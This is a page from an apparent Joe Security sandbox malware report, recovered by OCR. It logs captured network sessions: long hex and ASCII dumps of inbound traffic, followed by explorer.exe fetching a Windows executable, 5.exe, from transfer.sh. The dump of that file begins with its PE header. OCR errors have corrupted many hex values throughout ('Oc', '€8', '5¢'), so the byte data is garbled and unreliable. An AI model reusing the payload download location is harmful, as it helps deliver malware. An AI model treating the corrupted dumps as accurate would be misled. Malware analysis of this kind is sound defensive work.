8d 62 00 7f f8 d8 4b 31 e2 e6 97 f2 b0 4c 55 dd 1f 14 91 c0 89 Oc 85 17 93 08 75 10 00 de ca 79 03 66 bb 43 88 00 e4 54
aa 2a 49 b9 4e 22 b8 ce 00 75 28 68 be Ob ea Oc 72 00 77 aa bl 40 2c 80 29 1e 01 27 91 16 83 70 7b 04 d8 61 2a 7a 48
00 94 7a 96 3d 43 02 23 01 74 c4 03 39 22 bc f2 34 a2
Data Ascii: t{@c”_Q| "M}u|Uj*_+u!lJ*wafF%ti;g7upQX/,$ ~=P U/R.21&)0@bK1LUuyfCT*IN"u(hrw@,)'p{a*zHz=C#t9"4

2022-01-14 03:59:48 UTC 3769 IN Data Raw: Oe 28 22 3f 5f 6e c0 €8 93 7a a4 16 a5 00 7d 31 94 89 30 6b 55 3d 00 8b 43 73 f4 44 51 0f ae 00 ba 10 c8 fd 6c
14 20 48 00 81 4c 09 e2 13 d4 08 50 fe 54 07 9e 21 3d 40 58 5 5¢ 4f Of 60 €8 64 47 68 f4 6¢ 33 70 fa 74 11 78 fd 7¢ 10 d7
82 df 00 bd 6 49 87 8b 47 44 d0 00 c2 c1 c8 07 98 b1 ea ca 71 12 7c 31 00 03 b7 d8 80 78 8f 8¢ 4c 00 f2 fe ce 50 11 14
13 8 7e d6 74 £3 58 3¢ 90 3f 1d 00 03 49 64 01 02 0d 87 fe a4 16 36 48 78 Oe 30 81 80 7c a8 29 6a 9 7d b8 f4 68 Of 88 84
64 4c c3 44 28 81 €0 4e af 39 fc 62 3a 21 48 1c 6¢ 88 40 64 50 78 7d 81 84 1f Ob c8 9b 5f 4c 40 70 44 8¢ 32 54 3¢ 3c 40
b6 95 85 e4 al 7d 00 74 22 90 19 58 1e 20 ef 00 42 8c f1 0d fa a8 c4 39 f0 78 00 21 94 91 5c €0 28 82 b8 f4 90 00 f2 46
04 58 22 7c 11 98 06 Oc 60 8f 10 61 2 00 79 7f
Data Ascii: ("?_nz}10kU=CsDQI HLPT!=@X\0"dGhI3ptx|IGDg|1XLP~tX<?Id6Hx0|)j}hdLD(NOb:HI@dPx}_L@pD2T<<
@)"X BOX\(FX"['a.y

2022-01-14 03:59:48 UTC 3785 IN Data Raw: 42 8d e3 f2 de 91 f0 80 {7 d9 01 8b 14 8f 33 73 54 64 20 f4 20 16 43 34 d1 00 84 bc 03 40 41 75 60 e8 cc d4 e4
3c 50 00 27 81 ec 56 9c 84 89 e7 00 b9 ff 43 4e 8d 70 10 99 1e 76 40 da 40 f5 06 6¢ 8e Of ca 7b 89 3d c1 52 01 e8 bb 91
34 96 b0 d0 22 9c 16 06 8e 5e 00 6d 4e cf 16 56 01 00 1e 7e 10 Of c8 c9 cb d1 e6 bc ff cO cf 89 00 d6 31 ce 21 de 1d 03
3c 02 24 fc 81 c1 cb 02 c0 24 37 3f 07 e4 16 89 7c ¢6 50 05 3b 01 {7 00 87 ce 31 de 21 b5 03 58 00 d3 48 c1 c8 c4 3a 94
32 e2 fe 00 11 f2 dc de 31 ee 21 f6 00 03 bd 78 5b c6 4a c1 cf 00 3a 7f 8¢ 86 42 d6 37 f1 00 82 e3 fe 21 d8 03 5c¢ 24 30 63
Oc 2a ca 10 3a 00 9c 33 c8 ce 46 f3 82 cf 01 d8 21 69 03 63 c4 18 8b 28 c9 3a Oc 78 52 de 03 2b f0 90 ad 5e 81 b0 91 d1
18 Oe 1c 16 87 44 80 72 Oe 1d 11 20 Of c8 1e 74 e3
Data Ascii: B3sTd C4@Au’<P'VCNpv@ @{=R4""mNV~1!<$$7?|P;1!XH:21!x[J:B7\$0c*:3F!ic(:xR+"Dr t

2022-01-14 03:59:48 UTC 3801 IN Data Raw: al b1 Oa Oc fO 38 6¢ 00 25 1a 8d 93 Ob 7f 79 78 00 82 c7 €8 7b 09 a0 20 Of 06 6a 10 8d 50 83 5f 7f 57 00 9b be
26 42 8530 71 d8 00 04 c6 40 Oa fb c8 7f 10 01 al 05 14 9c 1c 08 33 c8 09 86 70 30 01 58 f6 be ef 6e d2 42 30 2f b6 00 fO
27 d5 71 b8 e3 da ee 00 df Of 65 56 f1 e5 €0 61 Oe 9e ca 2a 64 00 1c 85 al 92 d9 07 27 43 cd fc c8 00 2e b7 9c 8e 13 55
ec e6 00 d7 c6 99 e9 af fa 1c f3 ef 61 00 5d 47 c3 a0 de ae 01 ea 4d f6 79 3b f8 e6 c0 01 6¢ 07 6d 37 78 bc 5¢c 00 c4 c3 88
42 26 5b 96 ba 00 07 5a 4e 62 73 58 00 a0 f7 fe 76 8f e2 b2 01 00 6d 98 90 d3 a9 ab 4c e0 38 f5 9a 00 dc 99 8b 32 77 33
8f 00 de 18 73 4e 45 c4 12 8e e0 e4 00 fa 04 71 f3 86 78 c5 0f 00 ec 6¢ 50 46 cO d0 10 99 2e 63 37 b2 00 18 b7 08 49 66
dd 00 1f 01 97 22 3d cc b4 38 Oe a6 c0 16 a7 00
Data Ascii: 81%yx{ jP_W&B0q@3p0XnB0/'qeVa*d'C.Ua]GMy;Im7x\B&[ZNbsXvmL82w3sNEqxIPF.c71f'=8

2022-01-14 03:59:48 UTC 3817 IN Data Raw: 69 c8 23 04 b8 84 99 8a 78 06 00 7c 5d 11 08 f6 c2 3b d9 fb 80 ae b5 4a ee cd ec 91 07 Oc 13 17 8e 36 c5 6d
07 cf 94 d5 77 24 70 01 f8 e9 42 2e aa c8 ca 00 86 0f 84 f7 ¢5 90 7a 08 1f 10 el 49 00 Oc Od 19 18 f1 15 00 20 2a 6b 46
81 5f e5¢c8 03 ec c5 16 83 e0 0f 80 34 09 77 Ob 06 f6 43 05 00 b9 74 3f 89 bb Oe 16 24 27 2d a0 1c 3e 17 83 c5 09 06 8b
4f 5b 80 17 Oa 46 al 32 f6 a8 01 5¢ 20 c¢7 68 64 10 3c e4 31 25 00 fO 1d 3d 90 8a Ob 77 Oe 00 46 70 74 14 cb ae 60 15 00
a7 6f f4 a6 25 el aa 68 07 ac c1 Ob cd 89 13 22 8b b8 30 07 b2 16 01 b3 a2 00 6b 82 83 4b 2e 40 38 d7 5a 00 ac Oe 43 08
94 ec fb 2c 23 ed 8b 03 ff 21 9f d1 b8 Oa f9 68 00 a7 4a ef 65 1f a0 a8 23 00 b4 dd 25 d6 Oc 5a 62 9a 4a d3 f0 99 50 00 a6
9d 26 7c 65 cf bc 43 07 a5 eb 20 73 29 60 56 c2 0d 50
Data Ascii: i#x|];J6mw$pB.zl *kF_4wCt?$->O[F2\ hd<1%=wFpt 0%h"0kK.@8ZC,#'hJe#%ZbJP&|eC s) VP

2022-01-14 03:59:48 UTC 3833 IN Data Raw: 49 5e 58 b9 9c 73 10 0a 00 5¢ 26 60 09 42 eb 51 8d fc 7e 7d f3 00 3c 18 e0 69 8a 46 95 54 f8 11 00 06 3e 13
a8 5¢c le 43 6¢ 3d ca 4b 87 10 9c f2 3a 59 80 05 2e 29 b4 e5 00 c3 db 32 17 04 19 3c b3 3c 46 bb 01 e2 27 18 f9 a2 5a 60
b6 71 00 8b 43 79 04 31 78 ca 4c 92 03 01 58 4d 32 76 13 61 47 dc 2e 7c 90 00 03 39 36 d8 cd 6a 1b b8 5f b5 b6 00 8e
3e a5 04 5a 4d 58 8f 00 d4 e2 05 29 Oa d3 93 cb f4 bf 01 12 15 4c 1a 46 b3 50 30 e2 e9 1d 0d 25 bc 03 54 ea 13 dc 80 40
05 03 00 80 78 84 22 10 01 3e 50 00 07 df f0O d2 09 bd 70 d7 98 17 00 e9 35 0a 61 1d 78 20 7a Of 58 42 1a c6 80 44 29 9f
72 01 e3 30 f3 fa 9d 78 54 00 bd 68 2e 82 95 73 19 06 7c 9b 00 44 af c3 89 d4 11 29 1a 1f 18 e5 cc d3 f6 Oe 08 ce be 41
90 50 51 88 8f 30 57 42 01 b8 f0 e8 el 4c f3 1c 30 00 75 3c
Data Ascii: I"Xs\& BQ~}<iFT>\CI=K:Y.)2<<F'Z qCy1xLXM2vaG.|96]_>ZMX)LFP0%T@x">Pp5ax zXBD)rOxTh.s|D)AP
QOWBLOu<
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 3849 IN Data Raw: 5e le fa 6¢ 3a d4 d9 1f ea b8 80 18 8a 85 al ed 84 77 c0 00 8d 7e Oc Oa 75 13 97 fd 00 91 f6 54 2a 81 dc 85

b5 00 83 31 ff d2 eb 10 29 27 28 07 12 f8 00 4a 97 44 fb dd 38 92 91 07 f2 05 ad ee 0a 10 29 47 e4 Oc 39 54 85 00 86 87
91 56 92 09 18 00 80 77 ca 39 ff fa 2b 44 00 4c 90 93 e8 12 d9 20 ea f4 d3 00 Of e2 b6 3e 40 03 b2 74 02 79 87 19 d6 6e
€9 80 be c2 27 Oc 48 03 ba 03 75 7f 50 da c0 45 aa 9a 00 22 e5 d2 ee 32 21 f0 8 1c 26 74 0d c0 8b ce 06 64 7f 22 f9 40
d8 fd 28 f7 13 2b c6 5a 00 55 92 0b 19 04 1b 03 94 2c a2 be 31 05 d7 57 ea 50 06 Oa fO f8 90 04 00 55 Oc c9 20 51 6¢ 56
8700 2b 2f d5 f7 11 59 ¢8 7e 00 cd 66 55 c2 39 3b 3f 28 00 dO d8 f4 73 4e Oc aa c8 00 dd 5¢ 48 83 03 a2 d3 7d Of 7e 54
59 f8 41 89 71 25 8d 20 €9 e4 00 14 26 8a 9f db 65 5d a8

Data Ascii: :w~uT*1)'(JD8)GITVwWI+DL >@tyn'HUPE"2!&td"@(+ZU,1WPU QIV+/Y~fU9;?(sN\H}~TYAq% &e]

2022-01-14 03:59:48 UTC 3865 IN Data Raw: 52 74 05 03 64 42 57 90 54 22 30 3e 08 0a 77 28 b0 5f 12 a8 c1 72 33 62 ac 1e 91 a0 d3 2e 18 0f 94 b0 7e 11
8 a4 84 04 78 23 00 6a 40 58 75 13 10 20 70 fe 6e 00 67 ae 5e 9a 74 57 64 60 75 b2 00 24 10 4e Oc b1 f8 c8 63 03 28 50
182a 22 08 c8 03 €8 94 00 57 04 64 29 14 10 05 54 07 6a 4c 7c 2b c8 b0 da 85 20 24 76 2a 3d c4 50 80 07 Ob 54 14 68
d2 d8 6 82 60 5a 22 b4 58 52 4c 04 10 cc 2¢ 19 3a c2 69 04 60 4e 91 ec 07 3e fc 65 59 2d 20 ¢4 11 02 74 00 4a fe €6 b8
ce 1d 08 94 14 72 06 50 a6 00 73 df 98 f2 aa cc 85 07 64 07 39 13 48 60 60 22 10 40 7a 05 00 43 6¢ 61 73 c7 99 38 24 74
58 00 74 2f 0f 5 49 26 71 03 fe 41 00 64 61 70 7b 5a 60 80 51 Oe 01 34 2f 9¢ 9f cO ec 52 d0 11 9e a6 00 c0 20 af 14 3d
82 da 37 3e a2 f0 60 16 60 25 74 80 fe e0 3b 09 72 80 30 ec
Data Ascii: RtdBWT"0>w(_r3b.~x#@Xu pngMWd u$Nc(P**"Wd)TjL|+ $v*=PTh Z"XRL,:i'N>eY- tJrPsd9H "@zCla
s8$tXt/I&gAdap{Z Q4/R =7>""%t;r0

2022-01-14 03:59:48 UTC 3881 IN Data Raw: 8c 85 €0 08 ac 00 58 93 97 04 a4 32 c0 d4 00 42 c2 a0 19 49 8a bf 6¢ 00 7a 27 90 61 24 e0 d9 ea 37 el 78 16
90 f0 52 38 b9 7c 9 00 74 54 1e b5 87 64 €9 41 1f 09 3c 1b 5f 4e 40 Oc b2 f0 11 2¢ 3d 00 25 de 9d 45 96 a7 43 b6 €8 3e
00 a3 93 ae a2 16 d4 68 19 ee b0 00 30 02 40 27 41 84 1a ec 00 76 25 bd 85 4c 06 a0 20 1f 2c e8 55 00 bb f1 43 cd 7e 92
0141 49 b0 f0 75 82 71 60 80 76 00 50 ba 62 5a 09 c2 9a a2 00 d6 8e 26 46 1c cf ac 40 fd c8 02 51 00 9c 13 21 c3 a2 8a
a3 bf 00 b0 Ob 31 61 e4 b4 9a 36 00 4f 04 Oe 86 47 89 74 a7 00 26 ec al 32 34 6d c9 ad 24 3b Ob 79 07 41 b0 dO b0 12 1f
9d 87 00 32 e4 61 05 39 91 3a 0e 00 f2 €7 cb f7 71 24 17 1c 2e c2 1e 98 00 d0 18 cc d9 1d 3b 00 ff c9 ¢7 24 04 1c e4 2e
09 98 fd ed 97 80 68 4f c6 dO cf 00 5 cd 12 f1 c2 ca de
Data Ascii: X2BIIz'a$7xR8|tTdA<_N@,=%EC>h0@'Av%L ,UC~Alug vPbZ&F@Q!1a60Gt&24m$;yA2a9:9$.;$.hO

2022-01-14 03:59:48 UTC 3897 IN Data Raw: de 20 d9 b6 f8 a6 19 14 04 d3 21 3e 89 33 99 41 Ob e9 38 3a 83 2c €8 26 16 €9 11 ca 46 7a 9d b8 c1 c1 82 4d
af a0 19 €9 f9 03 12 52 7b 3e 79 88 09 eb f7 5¢c ee 77 c8 8e e3 a7 94 e2 e5 95 17 61 61 cb ea 2f a5 68 be a5 93 3a 61 7a
6f ff 24 4a c1 67 00 f2 98 c0 48 34 e0 3b aa a0 21 78 81 6f 10 76 ba 24 ca f9 25 9b 5a ad d9 a3 4c da 9c 7b d2 44 cc 19 df
86 62 14 47 eb ab fd 8a 26 83 8f e6 4d a8 f3 59 e9 c6 19 94 25 40 65 d5 7f f8 44 52 ee 7d 37 54 09 58 eb 02 16 98 fc 78
91 ff f9 75 6a dc 22 9d d1 b4 cb 63 95 e8 68 79 d8 19 55 81 d4 79 f1 02 30 cf f9 7f cb fc ac 66 3e 44 1d 27 7b 4a ef d3 e6
61 8e 43 0d b9 06 69 28 9e 05 73 f4 ae f9 5f 10 74 95 08 fe b9 d4 c4 8f 5b 30 9f ba 7b 9f 68 08 09 26 f6 €0 ce c5 6e 2c b8
8b ef dc 28 b0 5b b2 2a f5 3b a2 ¢9 04 b0 ca dd
Data Ascii: !>3A8:,&FzMR{>y\waa/h:azo$JgH4;!xov$%ZL{DbG&MY%@eDR}7TXxuj"chyUy0f>D'{JaCi(s_t[0{h&n,([*;

2022-01-14 03:59:48 UTC 3913 IN Data Raw: f9 83 23 86 a4 d4 76 6d 93 48 2d 20 ea 86 25 08 db ff 03 ad 2b b9 43 c4 ae 70 5e cc 40 Oc 2a d0 fd 82 01 6a
17 3b b5 24 25 0f 4f 57 ad 3a ff Oc d1 9e 97 cd 7f 94 9a f2 d8 ac b0 50 97 a4 41 3c 95 15 66 3c 94 e5 34 ac 2c 19 41 6d ec
b0 d6 aa cf 15 5a 2a 05 33 f1 ee b0 06 c8 ad 70 b2 eb 3c 74 56 d4 df 86 9d 9a f6 68 59 70 2f 46 a8 2c 92 f9 6b 72 14 fc 4f
df 74 92 5e 14 6f 87 70 f3 5b c4 fd f7 87 fd 4c 62 a6 45 b2 02 87 2f 1c 78 ¢5 b7 9a 84 cf 35 46 46 2 0f d0 5b ec cd ad 3 25
de f8 7d 71 1a f1 83 3f 22 2 ff 7b 6d 36 a8 5a 47 73 7a 16 0d 95 b4 01 9a fb db ee fc c8 b7 ab 3c 70 72 5¢ a0 25 a5 91 10
2107 bl 73 4c 8¢ 05 cc a5 72 58 fa f2 bd d1 97 6a 33 03 33 b3 b6 54 25 1d ed 6e a3 06 5f 15 10 2c ea 9f 1a 18 44 51 53
97 88 88 a3 bf 7f 52 77 15 ff 4b ce 8c ea
Data Ascii: #VmH- %+Cp"@%*};$%O0W:PA<f<4,AmZ*3p<tVhY p/F krOt*op[LbE/X5FF[%}q?"{m6ZGsz<pr\%!sLrXj33T%n_
,DQSRWK

2022-01-14 03:59:48 UTC 3929 IN Data Raw: a2 66 Oe c5 2c 03 e4 1b 65 df a0 56 bc b2 4e f4 da e6 4f 0d 5f 11 ec d6 06 97 cc 86 59 8a f9 8b d4 b7 5e 7d fa
da d8 fe ab d1 af 00 4b b8 ff 6e 3b d2 f5 b8 70 ad 2b 81 56 c6 96 b9 07 1c 10 94 8a db 60 bf d0 5f 40 1d 38 81 90 dd 60 30
87 a8 19 49 e8 f5 1e d5 de 2a b5 f4 Ob a4 b7 1b 09 fd e4 a7 36 21 12 3b Oc d8 2a 88 80 b3 b7 €8 c8 44 b5 44 e4 e5 41 76
7a 36 a0 a0 41 75 9a cc a5 e5 5d ed a2 e5 38 61 68 1b 15 52 e7 95 f0 63 ee b5 6a al 29 3d 47 17 7b 9d 2c 52 2a al b2
3550 81 1e 99 a5 37 a8 Of f1 af da el e2 8c 99 3b 5f 00 a4 1e bf 57 6b 93 e8 78 95 f5 d7 72 91 db d4 87 93 cd 6d 14 45
34 3ac9 77 2a 63 9e 6 6a 9e 15 38 ac 86 24 a7 55 34 13 42 63 1e 2e c6 c0 71 2b 02 5f cc 93 49 6e cc e2 ac b9 cd 7d c5
73 05 4e d5 6d de 9d 86 b2 4f 15 3d c3 86 d8 24 9f 39
Data Ascii: f,eVNO_YAJKn;p+V'_ @8 01*6!;*DDAvz6Au]8ahRcj)=G{,R*5P7;_WkxrmE4:w*cj8$U4Bc.q+_In}sNmO=$9

2022-01-14 03:59:48 UTC 3945 IN Data Raw: 24 30 85 ae la a2 67 54 92 e0 6f 78 2b 3f d9 46 64 40 5d 40 be 1c 75 f2 40 16 c1 ad 51 9b 54 c7 fe fb 01 5f 10
61 b5 4c 64 7d 74 f3 38 de 37 fc 3 18 50 00 b1 36 ab 0f 17 96 f4 61 4d 43 04 3c 7b e5 bl cc 7a 2a d7 f1 81 29 98 bc 4c 4f
ea 94 39 ac 5a a4 93 80 a5 ee 77 43 06 67 €6 4f b6 e2 cO 55 c5 ec 34 d3 73 82 4a b8 d8 46 eb 0f a9 06 58 d8 87 d9 6f 93
23 05 3d fb e9 6a b6 b6 22 fe c5 fc 92 0f 3e 46 ¢5 b0 b8 2d 90 9c ac 5e 82 5b d1 db 33 2¢ 81 06 94 ae 11 7d fe c3 €9 88 ff
51 1c 5e 90 93 95 2b e3 5a e2 ae f1 03 09 3¢ 00 6¢ 61 3a a9 63 b3 8e 3a 3f 63 8a 90 3 47 8a e2 32 83 ad Oa 79 5a 0d
ae f6 Of 2f 11 99 d8 64 53 df 7e 80 88 da f0 el d3 97 49 e2 18 6¢ fe 05 15 ca fc 42 07 55 81 e2 68 98 b9 bc b8 7c e5 62 83
07 9d 6a 7e 10 5a 98 21 76 33 fc f8 bc aa c8 47
Data Ascii: $0gTox+?Fd@]@u@QT_aLd}t87P6aMC<{z*)LO9ZwCgOU4sIFXo#=|">F-"[3,}Q \+Z<la:c:?cG2yZ/dS~IIBUh|
bj~Z!v3G

2022-01-14 03:59:48 UTC 3961 IN Data Raw: 72 ac b7 2b 07 4a c3 a6 1b 89 08 84 2c fc d8 95 80 4e f5 ec a6 f6 85 75 c1 1f 01 6¢ c1 bl 49 ef 53 f5 b9 88 f2
5c a3 f3 49 9f b0 ee 42 c2 b7 38 9b be ¢4 be 47 09 67 b0 €6 b0 76 3e 24 b4 5c 9d 9b 76 6f 9a 5b 00 18 de 71 4b f9 33 d2
9b d5 e3 d5 d8 b4 da 0f Oa 1d d6 e2 39 df 93 b8 e8 36 d2 82 1c cf Of e4 f4 a4 8e 6e 19 04 4d dO 51 ba al 91 d4 Oe 3e d8
02 ca 55 f4 1d 8f 52 95 bb ef 76 8e 82 7a a9 32 04 e8 6¢ 7d 46 51 7 a9 39 ce 56 2d 67 76 3c 06 €2 6b a4 4c 39 aa b7 19
7 db c4 c1 3a ee 7c 1c b3 b8 9a cb c6 41 3b 8f f3 21 64 3f 5¢c 6¢ be a3 1c 05 94 c8 fc 01 55 3b 92 9c e 66 44 7f ed 38 16
95 5a a4 caac 12 f0 31 25 2a 73 a3 ad 13 el ea 23 78 fc 85 fb fc €9 42 9f 61 40 ed 2e 94 fd 9e el 02 5d d7 a9 a8 83 72
9b 20 d2 al e6 30 69 6¢ 08 50 e3 29 c8 95 d1 Oe Oa
Data Ascii: r+J,NullS\IB8Ggv>$\vo[qK396nMQ>URVvz2I}FQIV-gv<kL9:|A;!d?\IU;fD8Z1%*s#xBa@.]r OilP)

2022-01-14 03:59:48 UTC 3977 IN Data Raw: f6 fO 8d ba 05 b6 58 6¢ €9 a7 8a 2f 3c 60 Oe cd 83 e8 c4 1c e7 14 93 53 bb 19 bc ec aa c0 d2 2d 88 9d 99 62 84
54 c0 d1 22 cf a3 46 ec ¢9 3d 31 98 ¢5 07 24 62 51 c2 9c 05 ba 35 6e 4e 05 fO 8¢ bf 2f 1e 28 3e 6¢ 91 f2 8f 7a €9 87 62 1le
4e 8b 45 b7 5b 9f a5 9b a8 8c ac db 5d 45 b4 da 99 a6 7a ca 51 el 40 f4 a2 3a 74 31 e9 f6 a9 59 62 15 58 10 54 38 a6 36
02 b9 72 cb 1a a4 4c ed 89 cc d2 8e 0f b9 48 f4 ba 7b 1c a6 d5 3f b3 2c ec 91 bd 30 88 5a a9 09 44 a7 a6 5c 51 a9 b7 42
67 f9 33 64 1b 5a 39 97 f6 d5 ee 9f 80 4c 4f 90 fb c2 88 ed 7c 98 8f 32 f4 2¢ 51 33 95 b2 c3 2b 43 88 0a 28 6¢ 54 e0 7b b9
ce 7ac3 a4 fc 52 ¢5 2c 04 69 12 ec da b8 51 67 92 ad 94 80 cd 22 28 01 43 c0 b7 fd 65 04 14 0d fc 50 el e6 c9 24 1b 30
a7 bb f1 80 76 cc 50 al 97 d3 62 Of 3b e6 fe a4
Data Ascii: XI/<*S-bT"F=1$bQ5nN/(>IzbNE[JEzQ@:t1YbXT86rLH{?,0ZD\QBg3dZ9L0|2,Q3+C(IT{zR,iQg"(CeP$0vPb;

2022-01-14 03:59:48 UTC 3993 IN Data Raw: 77 Ob 33 62 be ec 62 68 89 4d bd 7e 2d b1 00 3e 44 1b f5 a4 03 d9 50 b1 33 95 bd d5 2d b9 11 f8 68 a6 ac 5a
22 66 ee 89 f1 4c 3b 30 9d 79 86 9d 3c f2 5b 3 33 b0 fO a8 fa b9 27 6e f9 6f 41 bb 41 a2 a6 99 bb 5f 5e bd 0d ca f5 99 fc
3c e3 92 4c f4 87 b9 33 bd 84 e5 2e 4d b5 82 87 23 2b 25 64 ec 68 53 d7 61 52 da fc d4 fc 41 09 73 b5 d8 1e 4b 66 ba 4a
5411 41 fd c8 fb 81 05 b3 15 da fc e4 8a 95 ¢3 5f 9b ¢3 b6 a4 4b fb f4 bd 8f 8d 5e 77 57 5a 1f ef 52 77 5¢ ce eb5 c9 22 d6
97 74 39 6a ba 0f c3 f2 31 3a 79 46 ff ff fc b8 77 a0 8f 2e eb a7 cd 40 ca 14 03 2a 16 2f 92 3b df 42 b4 2b a6 13 9b c7 6f
a4 6e b7 e8 05 14 3c 3f 3b d8 91 f1 3a d9 03 5b 2f ca Oc a5 de 2d 5 bb 99 b4 62 8¢ 66 Oe 52 5¢ 79 49 e2 49 99 36 e6 e7
3b 05 64 57 fc df ff fa c6 67 29 f2 ca 18 96 c8
Data Ascii: w3bbhM~->DP3-hZ"fL;0y<[3'noAA_"<L3.M#+%dhSaRAsKfITA_K"WWZRw\"t9j1:yFw.@*/;B+on<?;:[/-bfR
\yll6;dWag)
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kBytes
Timestamp transferred

2022-01-14 03:59:48 UTC 4009

2022-01-14 03:59:48 UTC 4025

Session ID Source IP

5 192.168.2.3
kBytes

Timestamp transferred

2022-01-14 03:59:51 UTC 4030

2022-01-14 03:59:51 UTC 4030

2022-01-14 03:59:51 UTC 4031

2022-01-14 03:59:51 UTC 4046

2022-01-14 03:59:51 UTC 4062

2022-01-14 03:59:51 UTC 4078

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49884

Direction

ouT

Data

Data Raw: 8e 02 64 7d a5 76 13 c0 a8 7d bc 57 12 €9 62 eb 14 7d a0 c9 bd 41 6a 4b 00 bc bc 83 4a 49 9e 1d b0 9d b2 21
81 03 6f c0 43 6e 66 02 63 57 3b 29 9c ed 4c b2 27 26 ac 24 9f 88 8f a2 62 Oc Ob 2a 28 a0 6f dO ff dc 12 90 f3 51 33 68 af
01 56 ca 54 27 19 3c 95 9a 77 6¢c 42 12 el 31 fa 45 4d 28 24 1f 23 97 ¢8 77 11 f1 75 09 60 89 €9 24 6a 21 a0 a4 48 ed 66
c4 91 1c e4 bb 72 b8 cf 55 d6 d1 ca 68 21 45 dd €9 67 29 73 4b fO 1e 0a 9a 32 f3 74 cc bb dc 9b 58 af 40 91 f4 08 3a 91
8e d1 c5 1e 5e 01 74 94 24 65 9e 25 ca d5 61 45 05 ef ee c4 61 77 3d 2e 45 5a fa 6d bf 4f 81 f2 ce 79 5d 93 8b 47 06 4c
a7 75 15 bc 20 37 0f da 7f fd 54 6b 8e 42 f1 5d 8e a7 3b 48 8a 8e 23 1a e2 86 83 52 9c 28 f1 22 7f 73 01 1e 43 f4 4d fd 74
1e f397 0d 10 bc 92 18 95 58 76 Ob 19 0Of 02 7c 86

Data Ascii: d}v}Wb}AjKJI'oCnfcW;)L'&$b*(0Q3hVT'<wIB1IEM($#wu $j!HfrUh!EQ)sK2tX @: t$e%aEaw=.EZmOy]GLu
7TKB];H#R("SCMtXV|

Data Raw: 30 df 3b fa 23 8¢ 73 17 b7 8d ¢3 54 35 15 20 32 10 da 43 fd 86 44 d0 89 32 6¢ 67 fe aa 29 68 c5 30 8 ee 3f ab
7f 6b ae 04 32 d0 39 f9 72 c1 a2 68 6a 2b 79 67 bb 9f aa 58 €7 33 d1 1c 98 5b 04 b0 5f 63 88 11 33 af ab 08 aa 19 fb be 9f
94 89 f1 50 be 7f al b3 88 fc 4d c0 fO d1 bl 22 df 8a cf Oe 36 3e 9a 54 f6 5b 50 dd 4d 99 82 Oc 55 15 38 1d al 9d a6 71 37
e5 a5 00 78 2d 2e c7 4b a6 d2 c5 97 f1 e0 62 58 24 83 52 78 64 5e d4 1c 94 d6 6b d8 54 al a9 29 64 30 91 ce bl a8 96
77 2a79 95 eb 76 Ob 20 7b d2 6b c6 ff e7 c6 3b fb ea ba e2 26 b6 c9 44 c5 5b 9b 01 b3 c6 cb ce 32 44 73 16 db eb c9 3a
72 6d Of eb 08 el d6 c9 28 60 05 5a 87 db da 3c 95 b5 c2 cf 7c 96 65 e5 ff ef 24 Ob 58 0a 3¢ 36 88 4b 27 df 3c 44 79 el
c2c2 55 7c b5 5b 1c cd 9d 04 aa d9 ae 6a 18 63 1e

Data Ascii: 0;#sT5 2CD2lg)h0?k29rhj+ygX3[_c3PM"6>T[PMUB8q7x-. KbX$Rxd"kT)dOw*yv {k;&D[2Ds:rm( Z<|e$X<6K'<DyU|
lic

Destination IP Destination Port Process

144.76.136.153 443 C:\Windows\explorer.exe

Data

GET /get/ug3XSe/5.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Fri, 14 Jan 2022 03:59:51 GMT
Content-Type: application/x-ms-dos-executable
Content-Length: 3576320

Connection: close

Content-Disposition: attachment; filename="5.exe"
Retry-After: Fri, 14 Jan 2022 04:59:56 GMT
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18
X-Ratelimit-Limit: 10

X-Ratelimit-Rate: 600

X-Ratelimit-Remaining: 9

X-Ratelimit-Reset: 1642132796
X-Remaining-Days: n/a

X-Remaining-Downloads: n/a

X-Served-By: Proudly served by DutchCoders

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 fa 8b €0 61 00 00 00 00 00 00 00 00 €0 00 03 01 Ob 01
Oe 1d 00 24 02 00 00 ba 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06
00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 53 00 00 04 00 00 bb 21 37 00 02 00 00 81 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELa$@@S!7

Data Raw: 5¢ 11 ac 72 40 cf b1 1f ec ab 46 b2 51 e6 ae 8d 43 98 27 86 e6 af 9b b0 a6 27 1c 35 90 95 ¢5 32 f0 09 fd ca c2
68 bd 21 95 5¢ bb 3d fa f2 09 8e 63 70 99 fd fe 66 6b a7 c9 47 2c 73 f5 bd 47 14 78 08 70 54 8b 71 85 77 ee 72 96 a5 98
b2 3c 1c c2 83 35 0e 58 5a €7 59 Oc e3 12 71 12 6b 97 b5 a6 17 5f ce 4c 14 7c 15 4e c3 34 9 5 6a 65 c9 a4 1a 90 69 f5
3c d4 cd e9 3e 94 70 5d 06 98 ff d7 f9 b8 f7 8a f7 cf d4 41 15 1a 10 24 ec 44 4d 14 4e 9f ce 96 02 95 f1 e4 3b ad 3a d1 6¢
04 de 64 al da 56 4a 42 4b 95 af 7d 1c dc df 5a 2f d5 ff 69 5d 8c 7d 3f 48 cd e2 f7 1e ed 02 6d a0 b6 a5 12 0f 84 e9 ff f9 5¢
0a 8b b6 c6 e5 fb d8 af f0 52 85 2b b2 8a 2e 27 06 29 52 62 49 6a dc le ef 21 a0 c¢7 94 b5 c0 c3 ec a7 42 al 2f 23 89 a4
53 63 b2 4d 6a 14 02 25 b3 c0 d0 ae cf e2 9a

